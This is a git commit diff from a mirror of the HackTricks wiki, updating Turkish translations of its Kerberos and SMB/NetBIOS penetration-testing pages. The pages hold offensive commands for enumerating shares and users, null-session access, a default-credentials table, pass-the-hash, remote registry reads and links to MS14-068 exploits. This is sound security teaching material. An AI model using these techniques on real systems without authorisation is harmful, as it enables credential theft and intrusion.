mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-kerberos-88/READ
This commit is contained in:
parent
e87b730a7b
commit
e490cc8a0e
@ -4,18 +4,55 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**Kerberos**, kullanıcıları doğrudan kaynaklara erişimlerini yönetmeden kimlik doğrulayan bir ilkeye dayanır. Bu, protokolün güvenlik çerçevelerindeki rolünü vurguladığı için önemli bir ayrımdır.
|
||||
**Kerberos**, kullanıcıları kaynaklara doğrudan erişimlerini yönetmeden kimlik doğrulama ilkesine göre çalışır. Bu, protokolün güvenlik çerçevelerindeki rolünü vurguladığı için önemli bir ayrımdır.
|
||||
|
||||
**Active Directory** gibi ortamlarda, **Kerberos**, kullanıcıların gizli şifrelerini doğrulayarak kimliklerini belirlemede önemli bir rol oynar. Bu süreç, her kullanıcının kimliğinin, ağ kaynaklarıyla etkileşime girmeden önce doğrulandığını garanti eder. Ancak, **Kerberos** belirli kaynaklar veya hizmetler üzerindeki bir kullanıcının izinlerini değerlendirme veya uygulama işlevselliğini genişletmez. Bunun yerine, kullanıcıları kimlik doğrulamanın güvenli bir yolunu sağlar; bu, güvenlik sürecindeki kritik bir ilk adımdır.
|
||||
**Active Directory** gibi ortamlarda **Kerberos**, kullanıcıların gizli parolalarını doğrulayarak kimliklerini belirlemede önemli bir rol oynar. Bu süreç, her kullanıcının ağa erişmeden önce kimliğinin onaylanmasını sağlar. Ancak **Kerberos**, bir kullanıcının belirli kaynaklar veya hizmetler üzerindeki yetkilerini değerlendirme veya uygulama işlevini genişletmez. Bunun yerine kullanıcıları güvenli bir şekilde doğrulamanın yolunu sağlar; bu, güvenlik sürecinin kritik bir ilk adımıdır.
|
||||
|
||||
**Kerberos** tarafından kimlik doğrulama yapıldıktan sonra, kaynaklara erişimle ilgili karar verme süreci, ağ içindeki bireysel hizmetlere devredilir. Bu hizmetler, **Kerberos** tarafından sağlanan kullanıcı ayrıcalıkları bilgisine dayanarak, kimliği doğrulanmış kullanıcının haklarını ve izinlerini değerlendirmekten sorumludur. Bu tasarım, kullanıcıların kimliğini doğrulama ile erişim haklarını yönetme arasında bir ayrım yapılmasına olanak tanır ve dağıtık ağlarda kaynak yönetimi için daha esnek ve güvenli bir yaklaşım sağlar.
|
||||
**Kerberos** tarafından kimlik doğrulaması yapıldıktan sonra, kaynaklara erişimle ilgili karar verme süreci ağ içindeki bireysel hizmetlere devredilir. Bu hizmetler, **Kerberos**'un kullanıcının ayrıcalıkları hakkında sağladığı bilgilere dayanarak doğrulanmış kullanıcının hak ve izinlerini değerlendirmekten sorumludur. Bu tasarım, kullanıcıların kimliklerinin doğrulanması ile erişim haklarının yönetilmesi arasında bir sorumluluk ayrımı sağlayarak dağıtık ağlarda kaynak yönetimine daha esnek ve güvenli bir yaklaşım getirir.
|
||||
|
||||
**Varsayılan Port:** 88/tcp/udp
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
88/tcp open kerberos-sec
|
||||
```
|
||||
### **Kerberos'ü kötüye kullanmayı öğrenmek için** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)** hakkında yazıyı okumalısınız.**
|
||||
### **Kerberos'tan nasıl kötüye yararlanılacağını öğrenmek için şu yazıyı okuyun:** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
|
||||
|
||||
## Yalnızca Kerberos ortamları: istemci hazırlığı ve sorun giderme
|
||||
|
||||
When NTLM is disabled on domain services (SMB/WinRM/etc.), you must authenticate with Kerberos. Common pitfalls and a working workflow:
|
||||
|
||||
- Saat senkronizasyonu zorunludur. Eğer host saatiniz birkaç dakikadan fazla sapmışsa `KRB_AP_ERR_SKEW` hatasını görürsünüz ve tüm Kerberos kimlik doğrulamaları başarısız olur. DC ile senkronize edin:
|
||||
```bash
|
||||
# quick one-shot sync (requires sudo)
|
||||
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
|
||||
```
|
||||
- Hedef realm/domain için geçerli bir krb5.conf oluşturun. `netexec` (CME fork) SMB testleri sırasında sizin için bir tane üretebilir:
|
||||
```bash
|
||||
# Generate krb5.conf and install it
|
||||
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
|
||||
sudo cp krb5.conf /etc/krb5.conf
|
||||
```
|
||||
- Bir TGT alın ve ccache'i doğrulayın:
|
||||
```bash
|
||||
kinit <user>
|
||||
klist
|
||||
```
|
||||
- Kerberos'u SMB araçlarıyla kullanın (no passwords sent, ccache'inizi kullanır):
|
||||
```bash
|
||||
# netexec / CME
|
||||
netexec smb <dc.fqdn> -k # lists shares, runs modules using Kerberos
|
||||
# impacket examples also support -k / --no-pass to use the ccache
|
||||
smbclient --kerberos //<dc.fqdn>/IPC$
|
||||
```
|
||||
- GSSAPI SSH tek oturum açma (OpenSSH'den Windows OpenSSH sunucusuna):
|
||||
```bash
|
||||
# Ensure krb5.conf is correct and you have a TGT (kinit)
|
||||
# Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database"
|
||||
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
|
||||
```
|
||||
İpuçları:
|
||||
- Ensure your `/etc/hosts` resolves the exact FQDN you will SSH/SMB to, and that it comes before any bare domain entries if you are overriding DNS. SPN mismatches break GSSAPI.
|
||||
- If NTLM is disabled on SMB you may see `STATUS_NOT_SUPPORTED` with NTLM attempts; add `-k` to force Kerberos.
|
||||
|
||||
## Daha Fazla
|
||||
|
||||
@ -25,16 +62,23 @@ PORT STATE SERVICE
|
||||
|
||||
### MS14-068
|
||||
|
||||
MS14-068 açığı, bir saldırganın meşru bir kullanıcının Kerberos oturum açma jetonunu değiştirmesine ve yanlış bir şekilde yükseltilmiş ayrıcalıklar, örneğin bir Domain Admin olduğunu iddia etmesine olanak tanır. Bu sahte iddia, Domain Controller tarafından yanlışlıkla doğrulanarak, Active Directory ormanı genelinde ağ kaynaklarına yetkisiz erişim sağlar.
|
||||
MS14-068 güvenlik açığı, bir saldırganın meşru bir kullanıcının Kerberos oturum belirtecini değiştirerek yanlış şekilde yükseltilmiş ayrıcalıklar talep etmesine (ör. Domain Admin olmak) izin verir. Bu sahte talep Domain Controller tarafından hatayla doğrulanır ve Active Directory forest'ı genelinde yetkisiz erişime yol açar.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://adsecurity.org/?p=541
|
||||
{{#endref}}
|
||||
|
||||
Diğer istismarlar: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||
Diğer exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||
|
||||
## HackTricks Otomatik Komutlar
|
||||
## Referanslar
|
||||
|
||||
- [NetExec (CME) wiki – Kerberos and krb5.conf generation](https://www.netexec.wiki/)
|
||||
- [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication)
|
||||
- [MIT Kerberos – Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
|
||||
## HackTricks Otomatik Komutları
|
||||
```
|
||||
Protocol_Name: Kerberos #Protocol Abbreviation if there is one.
|
||||
Port_Number: 88 #Comma separated if there is more than one.
|
||||
|
@ -4,61 +4,61 @@
|
||||
|
||||
## **Port 139**
|
||||
|
||||
The _**Ağ Temel Girdi Çıktı Sistemi**_** (NetBIOS)**, bir yerel alan ağı (LAN) içindeki uygulamaların, PC'lerin ve masaüstü bilgisayarların ağ donanımıyla etkileşmesine ve **ağ üzerinden veri iletimini kolaylaştırmaya** yönelik tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, 16 karaktere kadar olabilen ve genellikle bilgisayar adından farklı olan NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasındaki bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) başka bir uygulamayı (sunucu olarak hareket eden) "çağırmak" için bir komut verdiğinde **TCP Port 139** kullanılarak başlatılır.
|
||||
The _**Network Basic Input Output System**_** (NetBIOS)**, yerel alan ağı (LAN) içindeki uygulamaların, PC'lerin ve masaüstü bilgisayarların ağ donanımıyla etkileşimini sağlamaya ve **ağ üzerinden veri iletimini kolaylaştırmaya** yönelik bir yazılım protokolüdür. NetBIOS ağı üzerinde çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, en fazla 16 karakter uzunluğunda olabilen ve genellikle bilgisayar adından farklı olan NetBIOS isimleri aracılığıyla yapılır. İki uygulama arasında bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) diğer bir uygulamayı (sunucu olarak hareket eden) "çağırmak" için bir komut verdiğinde ve **TCP Port 139** kullanıldığında başlatılır.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Port 445
|
||||
|
||||
Teknik olarak, Port 139 ‘NBT over IP’ olarak adlandırılırken, Port 445 ‘SMB over IP’ olarak tanımlanır. Kısaltma **SMB** ‘**Server Message Blocks**’ anlamına gelir; bu aynı zamanda modern olarak **Common Internet File System (CIFS)** olarak bilinir. Bir uygulama-katmanı ağ protokolü olarak SMB/CIFS ağırlıklı olarak dosyalar, yazıcılar, seri portlar için paylaşımlı erişim sağlamak ve ağ üzerindeki düğümler arasında çeşitli iletişim biçimlerini kolaylaştırmak için kullanılır.
|
||||
Teknik olarak, Port 139 ‘NBT over IP’ olarak anılırken, Port 445 ‘SMB over IP’ olarak tanımlanır. Kısaltma **SMB** ‘**Server Message Blocks**’ anlamına gelir ve günümüzde **Common Internet File System (CIFS)** olarak da bilinir. Bir uygulama katmanı ağ protokolü olarak SMB/CIFS öncelikle dosyaların, yazıcıların, seri portların paylaşılan erişimini sağlamak ve ağdaki düğümler arasında çeşitli iletişim biçimlerini kolaylaştırmak için kullanılır.
|
||||
|
||||
Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinde çalışabileceği; böylece port 445'in kullanımıyla NetBIOS over TCP/IP gerekliliğini ortadan kaldırdığı vurgulanır. Buna karşılık, farklı sistemlerde port 139’un kullanıldığı görülür; bu da SMB'nin NetBIOS over TCP/IP ile birlikte çalıştırıldığını gösterir.
|
||||
Örneğin, Windows bağlamında SMB’nin port 445 kullanılarak TCP/IP üzerinde doğrudan çalışabileceği, böylece NetBIOS over TCP/IP’ye olan gereksinimi ortadan kaldırdığı vurgulanır. Buna karşılık, farklı sistemlerde port 139’un kullanılması gözlenir; bu da SMB’nin NetBIOS over TCP/IP ile birlikte çalıştırıldığını gösterir.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
**Server Message Block (SMB)** protokolü, bir **istemci-sunucu** modeliyle çalışır ve **dosyalara erişim**, dizinler ve yazıcılar ile yönlendiriciler gibi diğer ağ kaynaklarının düzenlenmesi için tasarlanmıştır. Öncelikle **Windows** işletim sistemleri ailesinde kullanılır; SMB geriye dönük uyumluluğu sağlar ve Microsoft'un daha yeni sürümlerine sahip cihazların daha eski sürümlerle sorunsuz etkileşim kurmasına olanak tanır. Ayrıca **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını mümkün kılan ücretsiz bir yazılım çözümü sunar ve böylece SMB üzerinden platformlar arası iletişimi kolaylaştırır.
|
||||
The **Server Message Block (SMB)** protokolü, bir **istemci-sunucu** modeliyle çalışır ve **dosyalara erişim**, dizinler ve yazıcılar ile yönlendiriciler gibi diğer ağ kaynaklarına erişimi düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi ailesinde kullanılan SMB, geriye dönük uyumluluğu garanti ederek, Microsoft'un daha yeni sürümlerini çalıştıran cihazların daha eski sürümleri çalıştıranlarla sorunsuz etkileşimde bulunmasına olanak tanır. Ek olarak, **Samba** projesi ücretsiz bir yazılım çözümü sunarak SMB'nin **Linux** ve **Unix** sistemlerinde uygulanmasını sağlar ve böylece SMB üzerinden çapraz platform iletişimini kolaylaştırır.
|
||||
|
||||
Paylaşımlar (shares), yerel dosya sisteminin **rastgele bölümlerini** temsil edebilir ve SMB sunucusu tarafından sağlanarak hiyerarşinin istemciye görünümünü sunucunun gerçek yapısından kısmen **bağımsız** hale getirir. **Access Control Lists (ACLs)**, **erişim haklarını** tanımlar ve kullanıcı izinleri üzerinde **ince taneli kontrol** sağlar; bunlar `execute`, `read` ve `full access` gibi nitelikleri içerir. Bu izinler paylaşımlara göre bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlı yerel izinlerden farklıdır.
|
||||
Shares, **yerel dosya sisteminin rastgele bölümlerini** temsil edebilir ve bir SMB sunucusu tarafından sağlanarak hiyerarşinin istemciye sunucunun gerçek yapısından kısmen **bağımsız** olarak görünmesini sağlar. The **Access Control Lists (ACLs)**, **erişim haklarını** tanımlayan ve kullanıcı izinleri üzerinde **ince ayrıntılı kontrol** sağlayan mekanizmalardır; bunlar `execute`, `read` ve `full access` gibi öznitelikleri içerir. Bu izinler paylaşımlara göre bireysel kullanıcılara veya gruplara atanabilir ve sunucu üzerinde tanımlı yerel izinlerden farklıdır.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
IPC$ paylaşımına anonim bir null oturumu aracılığıyla erişilebilir; bu, named pipes aracılığıyla açığa çıkarılan hizmetlerle etkileşime izin verir. Bu amaçla `enum4linux` aracı kullanışlıdır. Doğru kullanıldığında şunları edinmeyi sağlar:
|
||||
IPC$ share'e erişim, anonim null session aracılığıyla elde edilebilir; bu da named pipes üzerinden açığa çıkan servislerle etkileşime izin verir. Bu amaç için `enum4linux` yardımcı programı faydalıdır. Doğru kullanıldığında, aşağıdaki bilgilerin elde edilmesini sağlar:
|
||||
|
||||
- İşletim sistemi hakkında bilgiler
|
||||
- Üst domain hakkında ayrıntılar
|
||||
- İşletim sistemi hakkında bilgi
|
||||
- Üst domain ile ilgili ayrıntılar
|
||||
- Yerel kullanıcılar ve grupların listesi
|
||||
- Mevcut SMB paylaşımları hakkında bilgiler
|
||||
- Geçerli sistem güvenlik politikası
|
||||
- Mevcut SMB paylaşımları hakkında bilgi
|
||||
- Sistemin yürürlükteki güvenlik politikası
|
||||
|
||||
Bu işlevsellik, ağ yöneticileri ve güvenlik uzmanları için bir ağdaki SMB (Server Message Block) hizmetlerinin güvenlik duruşunu değerlendirmek açısından kritiktir. `enum4linux`, hedef sistemin SMB ortamına dair kapsamlı bir görünüm sunar; bu, potansiyel zayıflıkları tespit etmek ve SMB hizmetlerinin doğru şekilde güvence altına alındığından emin olmak için gereklidir.
|
||||
Bu işlevsellik, ağ üzerindeki SMB (Server Message Block) servislerinin güvenlik duruşunu değerlendirmek için ağ yöneticileri ve güvenlik uzmanları açısından kritiktir. `enum4linux`, hedef sistemin SMB ortamına dair kapsamlı bir görüntü sunar; bu da potansiyel zafiyetleri belirlemek ve SMB servislerinin uygun şekilde güvence altına alındığından emin olmak için gereklidir.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
Yukarıdaki komut, `enum4linux`'un `target_ip` ile belirtilen bir hedefe karşı tam bir enumeration gerçekleştirmek için nasıl kullanılabileceğinin bir örneğidir.
|
||||
Yukarıdaki komut, `target_ip` ile belirtilen bir hedefe karşı tam bir enumeration gerçekleştirmek için `enum4linux`'un nasıl kullanılabileceğine dair bir örnektir.
|
||||
|
||||
## NTLM Nedir
|
||||
|
||||
Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl kötüye kullanılacağını öğrenmek istiyorsanız, **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız; burada **bu protokolün nasıl çalıştığı ve bundan nasıl yararlanabileceğiniz** açıklanıyor:
|
||||
NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl kötüye kullanılabileceğini öğrenmek istiyorsanız, **NTLM** hakkında, **bu protokolün nasıl çalıştığını ve bundan nasıl yararlanabileceğinizi** açıkladığı bu sayfa sizin için çok ilginç olacaktır:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/
|
||||
{{#endref}}
|
||||
|
||||
## **Server Enumeration**
|
||||
## **Sunucu Enumeration**
|
||||
|
||||
### **Scan** — bir ağda hosts arama:
|
||||
### **Scan** bir ağda hosts aramak:
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### SMB sunucu sürümü
|
||||
|
||||
SMB sürümüne yönelik olası exploits'leri araştırmak için hangi sürümün kullanıldığını bilmek önemlidir. Bu bilgi diğer kullanılan araçlarda görünmüyorsa, şunları yapabilirsiniz:
|
||||
SMB sürümüne yönelik olası exploitleri araştırmak için hangi sürümün kullanıldığını bilmek önemlidir. Bu bilgi diğer kullanılan araçlarda görünmüyorsa, şunları yapabilirsiniz:
|
||||
|
||||
- **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` kullanın
|
||||
- Veya bu script:
|
||||
- Ya da bu script:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
#Author: rewardone
|
||||
@ -84,19 +84,19 @@ searchsploit microsoft smb
|
||||
|
||||
| **Kullanıcı Ad(ları)** | **Yaygın parolalar** |
|
||||
| ---------------------- | ----------------------------------------- |
|
||||
| _(boş)_ | _(boş)_ |
|
||||
| guest | _(boş)_ |
|
||||
| Administrator, admin | _(boş)_, password, administrator, admin |
|
||||
| _(blank)_ | _(blank)_ |
|
||||
| guest | _(blank)_ |
|
||||
| Administrator, admin | _(blank)_, password, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | password, test, lab, demo |
|
||||
|
||||
### Brute Force
|
||||
|
||||
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
|
||||
|
||||
### SMB Ortam Bilgisi
|
||||
### SMB Ortam Bilgileri
|
||||
|
||||
### Bilgi Edinme
|
||||
```bash
|
||||
@ -120,9 +120,9 @@ rpcclient -U "username%passwd" <IP> #With creds
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### Kullanıcılar, Gruplar ve Oturum Açmış Kullanıcıları Listeleme
|
||||
### Kullanıcıları, Grupları ve Oturum Açmış Kullanıcıları Listeleme
|
||||
|
||||
Bu bilgiler zaten enum4linux ve enum4linux-ng tarafından toplanmış olmalıdır.
|
||||
Bu bilgiler zaten enum4linux ve enum4linux-ng tarafından toplanmış olmalı.
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
@ -134,7 +134,7 @@ rpcclient -U "" -N 10.10.10.10
|
||||
enumdomusers
|
||||
enumdomgroups
|
||||
```
|
||||
### Yerel kullanıcıları enumerate et
|
||||
### Yerel kullanıcıları listele
|
||||
|
||||
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
||||
```bash
|
||||
@ -150,28 +150,28 @@ use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
### **LSARPC ve SAMR rpcclient ile Keşif**
|
||||
### **LSARPC ve SAMR rpcclient ile Enumerasyon**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
### Linux'tan GUI bağlantısı
|
||||
### Linux'ten GUI bağlantısı
|
||||
|
||||
#### Terminalde:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### Dosya gezgini penceresinde (nautilus, thunar, vb.)
|
||||
#### Dosya gezgini penceresinde (nautilus, thunar, etc)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## Paylaşılan Klasörlerin Keşfi
|
||||
## Paylaşılan Klasörlerin Enumerasyonu
|
||||
|
||||
### Paylaşılan klasörleri listeleme
|
||||
|
||||
Her zaman herhangi bir şeye erişiminiz olup olmadığını kontrol etmeniz önerilir; kimlik bilgisine sahip değilseniz **null** **credentials/guest user** kullanmayı deneyin.
|
||||
Her zaman bir şeye erişiminiz olup olmadığını kontrol etmeniz önerilir; kimlik bilgileriniz yoksa **null** **credentials/guest user** kullanmayı deneyin.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
@ -185,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
### **Paylaşılan bir klasöre bağlanma/listeleme**
|
||||
### **Paylaşılan bir klasöre bağlan/listele**
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
@ -197,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **Windows paylaşımlarını manuel olarak listeleme ve bağlanma**
|
||||
### **Windows paylaşımlarını elle listeleme ve bağlanma**
|
||||
|
||||
Hedef makinenin paylaşımlarını görüntülemeniz kısıtlanmış olabilir ve bunları listelemeye çalıştığınızda bağlanılacak hiçbir paylaşım yokmuş gibi görünebilir. Bu yüzden bir paylaşıma manuel olarak bağlanmayı denemeye değer olabilir. Paylaşımları manuel olarak listelerken (ör. null session veya geçerli kimlik bilgileri gibi) geçerli bir oturum kullanıyorsanız NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bunlar, paylaşımın var olduğunu fakat erişiminizin olmadığını veya paylaşımın hiç var olmadığını gösterebilir.
|
||||
Host makinesinin paylaşım görüntüleme yetkisi kısıtlı olabilir ve listelemeye çalıştığınızda bağlanılacak herhangi bir paylaşım yokmuş gibi görünebilir. Bu yüzden bir paylaşıma manuel olarak bağlanmayı kısa bir deneme olarak yapmak faydalı olabilir. Paylaşımları manuel olarak enumerate etmek için, geçerli bir oturum kullanırken (ör. null session veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bunlar, paylaşımın var olduğunu fakat erişiminiz olmadığını veya paylaşımın hiç var olmadığını gösterebilir.
|
||||
|
||||
Windows hedefleri için yaygın paylaşım isimleri:
|
||||
Windows hedefleri için yaygın paylaşım isimleri
|
||||
|
||||
- C$
|
||||
- D$
|
||||
@ -212,14 +212,14 @@ Windows hedefleri için yaygın paylaşım isimleri:
|
||||
- SYSVOL
|
||||
- NETLOGON
|
||||
|
||||
(Yaygın paylaşım isimleri _**Network Security Assessment 3rd edition**_'den)
|
||||
(Yaygın paylaşım isimleri _**Network Security Assessment 3rd edition**_ kaynağından)
|
||||
|
||||
Aşağıdaki komutu kullanarak bunlara bağlanmayı deneyebilirsiniz:
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
veya bu script (null session kullanarak)
|
||||
veya bu script (null session kullanılarak)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
@ -238,10 +238,10 @@ done
|
||||
```
|
||||
örnekler
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Windows'ta paylaşımları listeleme / üçüncü taraf araçlar olmadan**
|
||||
### **Windows üzerinden paylaşımları listeleme / üçüncü taraf araçlar olmadan**
|
||||
|
||||
PowerShell
|
||||
```bash
|
||||
@ -260,14 +260,14 @@ net share
|
||||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
MMC Snap-in (grafiksel)
|
||||
MMC Snap-in (grafik arayüzlü)
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (grafiksel), `\\<ip>\` yazarak mevcut gizli olmayan paylaşımları görün.
|
||||
explorer.exe (grafiksel), kullanılabilir gizli olmayan paylaşımları görmek için `\\<ip>\` girin.
|
||||
|
||||
### Paylaşılan bir klasörü bağlama
|
||||
```bash
|
||||
@ -276,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **Dosyaları indir**
|
||||
|
||||
Kimlik bilgileri/Pass-the-Hash ile nasıl bağlanılacağını öğrenmek için önceki bölümleri okuyun.
|
||||
credentials/Pass-the-Hash ile nasıl bağlantı kurulacağını öğrenmek için önceki bölümleri okuyun.
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
@ -293,14 +293,14 @@ smbclient //<IP>/<share>
|
||||
```
|
||||
Komutlar:
|
||||
|
||||
- mask: dizin içindeki dosyaları filtrelemek için kullanılan maskeyi belirtir (ör. "" tüm dosyalar için)
|
||||
- recurse: alt dizinlerde yinelemeyi açıp kapatır (varsayılan: kapalı)
|
||||
- prompt: dosya adları için istemeyi açıp kapatır (varsayılan: açık)
|
||||
- mget: maskeyle eşleşen tüm dosyaları hosttan istemci makineye kopyalar
|
||||
- mask: dizindeki dosyaları filtrelemek için kullanılan maskeyi belirtir (ör. "" tüm dosyalar için)
|
||||
- recurse: özyinelemeyi açar/kapatır (varsayılan: kapalı)
|
||||
- prompt: dosya adı istemini açar/kapatır (varsayılan: açık)
|
||||
- mget: maskeyle eşleşen tüm dosyaları sunucudan istemci makineye kopyalar
|
||||
|
||||
(_Bilgi smbclient man sayfasından_)
|
||||
(_Bilgi smbclient man sayfasından alınmıştır_)
|
||||
|
||||
### Domain Paylaşılan Klasörleri Arama
|
||||
### Etki Alanı Paylaşılan Klasör Arama
|
||||
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
||||
```bash
|
||||
@ -312,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Paylaşımlarda özellikle ilgi çekici olan dosyalar **`Registry.xml`** adlı dosyalardır çünkü Group Policy aracılığıyla **autologon** olarak yapılandırılmış kullanıcılar için **parolalar içerebilirler**. Veya **`web.config`** dosyalarına dikkat edin, çünkü kimlik bilgileri içerebilirler.
|
||||
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
|
||||
|
||||
> [!TIP]
|
||||
> Domain içindeki tüm kimlik doğrulanmış kullanıcılar için **SYSVOL share** **okunabilir**. Orada birçok farklı batch, VBScript ve PowerShell **scripts** bulabilirsiniz.\
|
||||
> İçindeki **scripts**leri **kontrol** etmelisiniz çünkü **parolalar** gibi hassas bilgiler bulabilirsiniz.
|
||||
> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
|
||||
> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
|
||||
|
||||
## Kayıt Defterini Oku
|
||||
## Kayıt Defterini Okuma
|
||||
|
||||
Bulduğunuz bazı kimlik bilgilerini kullanarak **kayıt defterini okuyabilirsiniz**. Impacket **`reg.py`** ile deneyebilirsiniz:
|
||||
Bazı keşfedilen credentials ile **kayıt defterini okuyabilmeniz** mümkün olabilir. Impacket **`reg.py`** bunu denemenize olanak verir:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
